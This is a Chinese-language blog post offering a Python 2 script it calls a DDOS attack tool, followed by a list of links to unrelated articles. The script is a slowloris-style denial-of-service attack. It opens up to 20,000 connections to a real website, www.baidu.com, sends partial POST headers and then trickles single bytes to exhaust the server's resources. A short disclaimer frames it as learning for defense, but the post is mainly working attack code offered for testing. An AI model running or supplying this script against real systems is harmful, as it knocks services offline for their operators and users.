python版DDOS攻击脚本


Posted in Python onJune 12, 2019

本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中实现对Timestamp和Datetime及UTC时间之间的转换
Apr 08 Python
Python实现栈的方法
May 26 Python
python 文件操作api(文件操作函数)
Aug 28 Python
python中logging库的使用总结
Oct 18 Python
Python实现爬虫爬取NBA数据功能示例
May 28 Python
基于Python获取城市近7天天气预报
Nov 26 Python
python GUI库图形界面开发之PyQt5复选框控件QCheckBox详细使用方法与实例
Feb 28 Python
python利用蒙版抠图(使用PIL.Image和cv2)输出透明背景图
Aug 04 Python
Python如何使用ConfigParser读取配置文件
Nov 12 Python
pycharm中选中一个单词替换所有重复单词的实现方法
Nov 17 Python
python编写五子棋游戏
May 25 Python
使用Django框架创建项目
Jun 10 Python
selenium处理元素定位点击无效问题
Jun 12 #Python
selenium跳过webdriver检测并模拟登录淘宝
Jun 12 #Python
python3.4 将16进制转成字符串的实例
Jun 12 #Python
python binascii 进制转换实例
Jun 12 #Python
Python3 实现串口两进程同时读写
Jun 12 #Python
详解pyppeteer(python版puppeteer)基本使用
Jun 12 #Python
python实战串口助手_解决8串口多个发送的问题
Jun 12 #Python
You might like
PHP生成带有雪花背景的验证码
2006/10/09 PHP
用文本作数据处理
2006/10/09 PHP
Yii2使用小技巧之通过 Composer 添加 FontAwesome 字体资源
2014/06/22 PHP
Laravel框架实现发送短信验证功能代码
2016/06/06 PHP
Yii CFileCache 获取不到值的原因分析
2017/02/08 PHP
jquery blockUI 遮罩不能消失与不能提交的解决方法
2011/09/17 Javascript
js中的时间转换—毫秒转换成日期时间的示例代码
2014/01/26 Javascript
jQuery拖拽div实现思路
2014/02/19 Javascript
在JavaScript应用中使用RequireJS来实现延迟加载
2015/07/01 Javascript
JS表格组件神器bootstrap table详解(基础版)
2015/12/08 Javascript
jQuery插件开发汇总
2016/05/15 Javascript
原生Javascript插件开发实践
2017/01/18 Javascript
自定义vue全局组件use使用、vuex的使用详解
2017/06/14 Javascript
js数组去重的N种方法(小结)
2018/06/07 Javascript
Vue退出登录时清空缓存的实现
2019/11/12 Javascript
浅谈Node新版本13.2.0正式支持ES Modules特性
2019/11/25 Javascript
vue中 v-for循环的用法详解
2020/02/19 Javascript
JS sort排序详细使用方法示例解析
2020/09/27 Javascript
[01:59]DOTA2首部纪录片《Free to play》预告片
2014/03/12 DOTA
Python随机生成数模块random使用实例
2015/04/13 Python
python中assert用法实例分析
2015/04/30 Python
在Windows系统上搭建Nginx+Python+MySQL环境的教程
2015/12/25 Python
Python实现Linux命令xxd -i功能
2016/03/06 Python
pyqt5 键盘监听按下enter 就登陆的实例
2019/06/25 Python
用Python爬取LOL所有的英雄信息以及英雄皮肤的示例代码
2020/07/13 Python
为什么说python更适合树莓派编程
2020/07/20 Python
HTML5实现多张图片上传功能
2016/03/11 HTML / CSS
动态密码技术
2012/10/18 面试题
文明教师事迹材料
2014/01/16 职场文书
安全生产网格化管理实施方案
2014/03/01 职场文书
《曹刿论战》教学反思
2014/03/02 职场文书
公司门卫岗位职责
2014/03/15 职场文书
高中生综合素质自我评价
2015/03/06 职场文书
六年级数学教学反思
2016/02/16 职场文书
人生哲理妙语30条:淡写流年,笑过人生
2019/09/04 职场文书
Python语言内置数据类型
2022/02/24 Python